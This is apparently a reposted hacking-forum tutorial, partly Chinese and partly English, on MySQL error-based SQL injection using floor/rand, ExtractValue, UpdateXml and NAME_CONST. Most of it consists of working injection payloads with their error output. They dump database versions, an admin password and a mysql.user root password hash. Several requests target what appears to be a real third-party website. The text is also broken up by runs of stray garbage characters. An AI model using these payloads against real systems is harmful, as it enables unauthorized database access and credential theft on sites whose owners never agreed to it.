mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法

admin

1、通过floor报错

可以通过如下一些利用代码

and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);

and (select count(*) from (select 1 union   select null union   select  !1)x group by concat((select table_name from information_schema.tables  limit 1),floor(rand(0)*2)));

举例如下：
. B5 w$ z% r1 B: O; y  \首先进行正常查询：

mysql> select * from article where id = 1;
+—-+——-+———+
| id | title | content |
+—-+——-+———+
|  1 | test  | do it   |
+—-+——-+———+

假如id输入存在注入的话，可以通过如下语句进行报错。

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’

可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：

Method1:

mysql> select * from article where id = 1 and (select 1 from  (select count(*),concat((select pass from admin where id  =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

Method2:

mysql> select * from article where id = 1 and (select count(*)  from (select 1 union   select null union   select !1)x group by  concat((select pass from admin limit 1),floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’

2、ExtractValue
测试语句如下

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

实际测试过程

mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));–
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′

3、UpdateXml

测试语句

and 1=(updatexml(1,concat(0x3a,(select user())),1))

实际测试过程

mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’

4 h% N4 x: k9 U8 h9 k. q- o

再收集：

8 s" X) ~! _& `8 M+ |; ?http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)

Erroruplicate column name ‘5.0.27-community-nt’Erroruplicate column name ‘5.0.27-community-nt’

: v. \- k. a- }http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)

" P- \- u& C1 Q% W5 G- dErroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Erroruplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′

4 _( X7 i5 ~7 b5 m( m# iMYSQL高版本报错注入技巧-利用NAME_CONST注入
0 U2 e6 k) h$ K- v# g' P2 P' bIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it.

; m" q' ?! }; @
相关信息

NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.
5 l8 D) E% ^2 m/ |) U& F" M( d
Code:
NAME_CONST(DATA, VALUE)

" }( a+ o2 _0 ?* vReturns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.
4 [  u8 B- _7 V% Z; Z, C
SELECT NAME_CONST('TEST', 1)


4 H0 ^& v/ ]" I7 a
|---------------|
  h, o+ Q% @+ x' t, o|     TEST      |
|               |
! b3 ]7 `/ u- Y0 D. m7 I: |  U|---------------|
|       1       |
|               |
|---------------|
* U% w- u" x2 z- O% K/ E
( o' |  g: e+ Q# U  _  _2 O- S

8 x* J7 H& m4 f7 W# E
http://dev.mysql.com/doc/refman/5.0/en/m...name-const
Intro to MySQL Variables
8 S' W$ [* |! x$ |& f+ }
# N3 Y3 g) Z- Y+ C" dOnce you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.
2 K- M0 u. `. y+ N! m
Code:
0 J0 Z; B6 D( R2 s  J. z/ f" uhttp://www.baido.hk/qcwh/content ... ;sid=19&cid=261
8 u: {/ Y" @7 K0 H7 R) g# N: V
  |' p( i& I# `' Z0 a3 Q/ v


  L. @, A& i8 g
Code:
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--
" B9 W5 ^8 K" [( O! T( C0 A  E% S

VAR = Your MySQL variable.
) y: d. y0 v. z1 p( g6 |  ?8 V5 Q
* ]# }4 O% p" uMySQL 5.1.3 Server System Variables
! H. P4 t+ c" G- }, \) j2 I
1 n9 J% N. t$ [$ V, c7 \5 rLet's try it out on my site..

Code:
" l3 ?* K  S. I/ H! D+ ghttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--

6 J+ i1 M/ |2 S8 A9 E0 n  BErroruplicate column name '5.0.27-community-nt'


6 Y# N& j  s8 y- n3 A2 I
, m. M1 Q8 g4 U- ~0 i$ Z- x
) p8 i5 c: ?% {4 o
8 A! }$ O# ^& r5 cNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...
; b4 I7 Q0 n5 o/ R; t, Y! T
Data Extraction

Code:
, ^# a+ h1 l5 a" v+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--

/ ^' L3 o" K1 k) x, h
9 y3 i5 r% Z5 [  a/ AWe should get a duplicate column 1 error...

Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--

( Y  M2 |! H6 d" d1 ~% p7 ?Erroruplicate column name '1


; t$ L$ }3 Y  p! p- K
0 X- n) i5 ?  m; t) }
8 u2 W: z9 i8 b7 B, o
" A7 Q- V. G) S% ]5 {
1 L2 y7 X" h( k( kNow let's get the tables out this bitch..

% L6 `: N; o" n1 H  f: {Code:
: ^* g6 X- i. m; Y+ R: I+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


Let's see if it works here, if it does, we can go on and finish the job.

2 U$ i& c6 i+ z/ [Code:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--


3 s0 x4 P1 A- h- T' @! pErroruplicate column name 'com_admanage
& E5 J& ^$ M3 g# V$ m

0 ?! \+ x: x2 j* r3 a4 |/ u
3 L( c% ~6 n3 M* E9 w1 w6 j& {


+ G% ^$ S( P- Z0 y' D) S5 i9 X" qNow I'm going to be lazy and use mysql.user as an example, just for the sake of time.
! `# e( C2 G9 A  H7 f% i
Let's get the columns out of the user table..

* v/ K: t5 ]! W" I9 P$ @Code:
2 v* y; R8 W! l* M+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--
$ B5 I# w1 y' \, F* c

' q# b' h; R4 WSo mine looks like this, and I get the duplicate column name 'Host'.
8 ?0 S) L; g7 U8 u3 t# L+ v, x
5 ]' A) D% _. B: m$ L- j* JCode:
http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--

Erroruplicate column name 'Host'

5 [5 h- K7 A% d- f( L1 E
% p6 O' G$ s. m- A( _# n
2 b. w2 Y$ F: [0 b. q: y0 x) V
$ n: k( S8 k4 p9 m/ P- p, z
$ Z- O2 A' o- n/ c. g
Woot, time to finish this bitch off.

Code:
8 ~  V! x1 y2 F+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--


So mine looks like this...
; B% y2 L7 ~! r* @% d9 [
: ~) ]' q6 ~5 A! \3 v9 g( HCode:
$ d/ S1 C" F" Y0 a: f" Qhttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
/ R9 S" [& \$ X  S- a
Erroruplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'

' f6 M0 x5 ]  w4 X0 \0 L, K4 A9 c6 B
+ G8 c9 I) Z7 `5 ^& L$ ~' R
3 U6 U2 [6 e! i- W6 }% t
5 h! Z: G6 A+ V0 }
1 E$ z+ b2 b6 A
And there we have it, thanks for reading.
% P9 p) r3 L" O# A1 f* W2 G
2 J% ?3 w, e/ V# G" l